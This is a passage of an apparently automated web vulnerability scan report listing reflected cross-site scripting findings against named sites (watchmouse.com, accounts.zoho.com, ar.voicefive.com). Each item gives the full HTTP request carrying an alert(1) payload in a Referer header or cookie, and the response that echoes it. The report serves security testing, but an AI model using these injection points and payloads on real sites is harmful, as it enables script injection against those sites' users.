GET /en/website_monitoring_features.php HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=3aadc'-alert(1)-'9e50fb9d17d

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:43 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-3fc8d1cddd0488e19425291871e6fcf6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=3aadc'-alert(1)-'9e50fb9d17d::website_monitoring_features.php');
           var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=3aadc'-alert(1)-'9e50fb9d17d');
           if(document && document.referrer){
               jsRef = encode
...[SNIP]...

1.784. https://accounts.zoho.com/login [iamcsr cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://accounts.zoho.com
Path:	/login

Issue detail

The value of the iamcsr cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 479af'-alert(1)-'b54fb9cb6a8 was submitted in the iamcsr cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /login?servicename=AaaServer&serviceurl=/u/h&hidesignup=true HTTP/1.1
Host: accounts.zoho.com
Connection: keep-alive
Referer: https://accounts.zoho.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: iamcsr=990090bc-9688-4b39-b67b-38ae0c2f2279479af'-alert(1)-'b54fb9cb6a8; rtk=1297258021715; JSESSIONID=73A7E4CD3F18A508AAE3EF3484CB07AD

Response

HTTP/1.1 200 OK
P3P: CP="CAO PSA OUR"
Set-Cookie: IAMAGENTTICKET=; Domain=.zoho.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Wed, 09 Feb 2011 14:30:39 GMT
Server: ZWS
Content-Length: 21210

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1.dtd">

<html>
<head>
<title>Zoho Accounts</title>
<style type="text
...[SNIP]...
rlencoded; charset=UTF-8');objHTTP.send(params);eval(objHTTP.responseText);}

function resendConfirmation(eid) {
   var csrfParam = 'iamcsrcoo=990090bc-9688-4b39-b67b-38ae0c2f2279479af'-alert(1)-'b54fb9cb6a8';
   var params = "email=" + euc(eid.toLowerCase()) + "&servicename=AaaServer&serviceurl=" + euc('/u/h') + "&"+csrfParam;//No I18N
   sendRequest("/u/em/confirm", params);//No I18N
...[SNIP]...

1.785. http://ar.voicefive.com/bmx3/broker.pli [BMX_3PC cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the BMX_3PC cookie is copied into the HTML document as plain text between tags. The payload 6e745<script>alert(1)</script>e6ddb16aa51 was submitted in the BMX_3PC cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=58087515&AR_C=40483939 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/N3867.270604.B3/B5128597.13;sz=728x90;click0=http://ib.adnxs.com/click/4uHh4djYAkAAAADAHgUAQAAAAMAeBQBAOgVUkzufAUBjQswlVbsEQOKYW8HBTvdyBWHfHSmrEEI2n1JNAAAAAHKSAwA2AQAAbAEAAAIAAACLwQIA5GoAAAEAAABVU0QAVVNEANgCWgCoAecEIQkAAQUCAAIAAAAAER-M1AAAAAA./cnd=!yxYAiAie9AIQi4MLGAAg5NUBKOcJMXl4ePhUuwRAQhMIABAAGAAgASj-__________8BSABQAFioA2AAaOwC/referrer=http%3A//twittorati.com//clickenc=http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SDYN_2011Q1/728/L38/1509864399/x90/USNetwork/RS_SDYN_2011Q1_ZT_DEF_728/RadioShack_SDYN_2011Q1.html/72634857383030695a694d41416f6366?http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SELL_2011Q1/DYN/728/L42/961195203/x90/USNetwork/RS_SELL_2011Q1_ZT_DYN_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=961195203?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_da39f516a098b3de) ar_p68511049=exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&; ar_p85001580=exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:05:47 2011&prad=58087509&arc=40401586&; BMX_G=method->-1,ts->1297260347; BMX_3PC=16e745<script>alert(1)</script>e6ddb16aa51; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 14:08:45 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=49&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:08:45 2011&prad=58087515&arc=40483939&; expires=Tue 10-May-2011 14:08:45 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 26706

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"58087515",Pid:"p85001580",Arc:"40483939",Location:CO
...[SNIP]...
ecExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&', "ar_p85001580": 'exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:05:47 2011&prad=58087509&arc=40401586&', "BMX_3PC": '16e745<script>alert(1)</script>e6ddb16aa51', "BMX_G": 'method->
...[SNIP]...

1.786. http://ar.voicefive.com/bmx3/broker.pli [BMX_G cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the BMX_G cookie is copied into the HTML document as plain text between tags. The payload 5863b<script>alert(1)</script>02739b65707 was submitted in the BMX_G cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=58087515&AR_C=40483939 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/N3867.270604.B3/B5128597.13;sz=728x90;click0=http://ib.adnxs.com/click/4uHh4djYAkAAAADAHgUAQAAAAMAeBQBAOgVUkzufAUBjQswlVbsEQOKYW8HBTvdyBWHfHSmrEEI2n1JNAAAAAHKSAwA2AQAAbAEAAAIAAACLwQIA5GoAAAEAAABVU0QAVVNEANgCWgCoAecEIQkAAQUCAAIAAAAAER-M1AAAAAA./cnd=!yxYAiAie9AIQi4MLGAAg5NUBKOcJMXl4ePhUuwRAQhMIABAAGAAgASj-__________8BSABQAFioA2AAaOwC/referrer=http%3A//twittorati.com//clickenc=http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SDYN_2011Q1/728/L38/1509864399/x90/USNetwork/RS_SDYN_2011Q1_ZT_DEF_728/RadioShack_SDYN_2011Q1.html/72634857383030695a694d41416f6366?http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SELL_2011Q1/DYN/728/L42/961195203/x90/USNetwork/RS_SELL_2011Q1_ZT_DYN_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=961195203?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_da39f516a098b3de) ar_p68511049=exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&; ar_p85001580=exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:05:47 2011&prad=58087509&arc=40401586&; BMX_G=method->-1,ts->12972603475863b<script>alert(1)</script>02739b65707; BMX_3PC=1; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 14:08:45 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=49&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:08:45 2011&prad=58087515&arc=40483939&; expires=Tue 10-May-2011 14:08:45 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 26706

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"58087515",Pid:"p85001580",Arc:"40483939",Location:CO
...[SNIP]...
l};})();}COMSCORE.BMX.Broker.Cookies={ "ar_p67161473": 'exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&', "BMX_G": 'method->-1,ts->12972603475863b<script>alert(1)</script>02739b65707', "UID": '1d29d89e-72.246.30.75-1294456810', "ar_p85001580": 'exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:05:47 2011&prad=58087509&arc=40401586&', "BMX_3PC": '1', "ar_p45555483":
...[SNIP]...

1.787. http://ar.voicefive.com/bmx3/broker.pli [UID cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the UID cookie is copied into the HTML document as plain text between tags. The payload c392d<script>alert(1)</script>fe1f9e002a4 was submitted in the UID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=58087509&AR_C=40401586 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/N3867.270604.B3/B5128597.12;sz=300x250;click0=http://ib.adnxs.com/click/zMzMzMzMAECPwvUoXI_8PwAAAGBm5vs_TP6COGqw_j-HhsWoaw0CQKL1wI407bt8BWHfHSmrEEI1n1JNAAAAAMWRAwA2AQAAbAEAAAIAAACKwQIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEDgkAAQUCAAIAAAAAmSbu-wAAAAA./cnd=!ZhZOewie9AIQioMLGAAg5NUBKOcJMaelpaVrDQJAQhMIABAAGAAgASj-__________8BSABQAFioA2AAaOwC/referrer=http%3A//technorati.com//clickenc=http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SDYN_2011Q1/300/L38/1314851964/x90/USNetwork/RS_SDYN_2011Q1_ZT_DEF_30/RadioShack_SDYN_2011Q1.html/72634857383030695a694d41416f6366?http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SELL_2011Q1/DYN/300/L42/1232987503/x90/USNetwork/RS_SELL_2011Q1_ZT_DYN_300/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=1232987503?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_da39f516a098b3de) ar_p68511049=exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&; ar_p85001580=exp=47&initExp=Wed Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&; UID=1d29d89e-72.246.30.75-1294456810c392d<script>alert(1)</script>fe1f9e002a4

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 14:07:52 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:07:52 2011&prad=58087509&arc=40401586&; expires=Tue 10-May-2011 14:07:52 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1297260472; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 26650

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"58087509",Pid:"p85001580",Arc:"40401586",Location:CO
...[SNIP]...
();}COMSCORE.BMX.Broker.Cookies={ "ar_p67161473": 'exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&', "UID": '1d29d89e-72.246.30.75-1294456810c392d<script>alert(1)</script>fe1f9e002a4', "ar_p85001580": 'exp=47&initExp=Wed Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&', "ar_p45555483": 'exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:
...[SNIP]...

1.788. http://ar.voicefive.com/bmx3/broker.pli [ar_da39f516a098b3de) ar_p68511049 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_da39f516a098b3de) ar_p68511049 cookie is copied into the HTML document as plain text between tags. The payload ef117<script>alert(1)</script>383a7c8372b was submitted in the ar_da39f516a098b3de) ar_p68511049 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=58087509&AR_C=40401586 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/N3867.270604.B3/B5128597.12;sz=300x250;click0=http://ib.adnxs.com/click/zMzMzMzMAECPwvUoXI_8PwAAAGBm5vs_TP6COGqw_j-HhsWoaw0CQKL1wI407bt8BWHfHSmrEEI1n1JNAAAAAMWRAwA2AQAAbAEAAAIAAACKwQIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEDgkAAQUCAAIAAAAAmSbu-wAAAAA./cnd=!ZhZOewie9AIQioMLGAAg5NUBKOcJMaelpaVrDQJAQhMIABAAGAAgASj-__________8BSABQAFioA2AAaOwC/referrer=http%3A//technorati.com//clickenc=http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SDYN_2011Q1/300/L38/1314851964/x90/USNetwork/RS_SDYN_2011Q1_ZT_DEF_30/RadioShack_SDYN_2011Q1.html/72634857383030695a694d41416f6366?http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SELL_2011Q1/DYN/300/L42/1232987503/x90/USNetwork/RS_SELL_2011Q1_ZT_DYN_300/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=1232987503?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_da39f516a098b3de) ar_p68511049=exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&ef117<script>alert(1)</script>383a7c8372b; ar_p85001580=exp=47&initExp=Wed Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 14:07:52 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:07:52 2011&prad=58087509&arc=40401586&; expires=Tue 10-May-2011 14:07:52 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1297260472; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 26650

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"58087509",Pid:"p85001580",Arc:"40401586",Location:CO
...[SNIP]...
Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&', "ar_p68511049": 'exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&ef117<script>alert(1)</script>383a7c8372b' };
COMSCORE.BMX.Broker.GlobalConfig={
"urlExcludeList": "http://photobucket.com/$|zone.msn.com|xbox.com|www.aol.com/$|http://Webmail.aol.com/$|http://travel.aol.com/$|http://netscape.aol.com/$|http
...[SNIP]...

1.789. http://ar.voicefive.com/bmx3/broker.pli [ar_p45555483 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p45555483 cookie is copied into the HTML document as plain text between tags. The payload c88f5<script>alert(1)</script>c2d74eb3ab5 was submitted in the ar_p45555483 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=58087509&AR_C=40401586 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/N3867.270604.B3/B5128597.12;sz=300x250;click0=http://ib.adnxs.com/click/zMzMzMzMAECPwvUoXI_8PwAAAGBm5vs_TP6COGqw_j-HhsWoaw0CQKL1wI407bt8BWHfHSmrEEI1n1JNAAAAAMWRAwA2AQAAbAEAAAIAAACKwQIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEDgkAAQUCAAIAAAAAmSbu-wAAAAA./cnd=!ZhZOewie9AIQioMLGAAg5NUBKOcJMaelpaVrDQJAQhMIABAAGAAgASj-__________8BSABQAFioA2AAaOwC/referrer=http%3A//technorati.com//clickenc=http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SDYN_2011Q1/300/L38/1314851964/x90/USNetwork/RS_SDYN_2011Q1_ZT_DEF_30/RadioShack_SDYN_2011Q1.html/72634857383030695a694d41416f6366?http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderB3/RadioShack/SELL_2011Q1/DYN/300/L42/1232987503/x90/USNetwork/RS_SELL_2011Q1_ZT_DYN_300/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=1232987503?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&c88f5<script>alert(1)</script>c2d74eb3ab5; ar_da39f516a098b3de) ar_p68511049=exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:06:45 2011&prad=264255448&arc=185637092&; ar_p85001580=exp=47&initExp=Wed Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 14:07:51 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p85001580=exp=48&initExp=Wed Jan 26 20:14:29 2011&recExp=Wed Feb 9 14:07:51 2011&prad=58087509&arc=40401586&; expires=Tue 10-May-2011 14:07:51 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1297260471; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 26650

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"58087509",Pid:"p85001580",Arc:"40401586",Location:CO
...[SNIP]...
d Jan 26 20:14:29 2011&recExp=Tue Feb 8 22:44:46 2011&prad=59040787&arc=40461890&', "ar_p45555483": 'exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&c88f5<script>alert(1)</script>c2d74eb3ab5', "ar_p83612734": 'exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&', "ar_p68511049": 'exp=8&initExp=Mon Jan 31 16:31:23 2011&recExp=Tue Feb 8 18:0
...[SNIP]...

1.790. http://ar.voicefive.com/bmx3/broker.pli [ar_p67161473 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p67161473 cookie is copied into the HTML document as plain text between tags. The payload 7bb7f<script>alert(1)</script>05cdeb39185 was submitted in the ar_p67161473 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p85001580&PRAd=58087509&AR_C=40401586 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
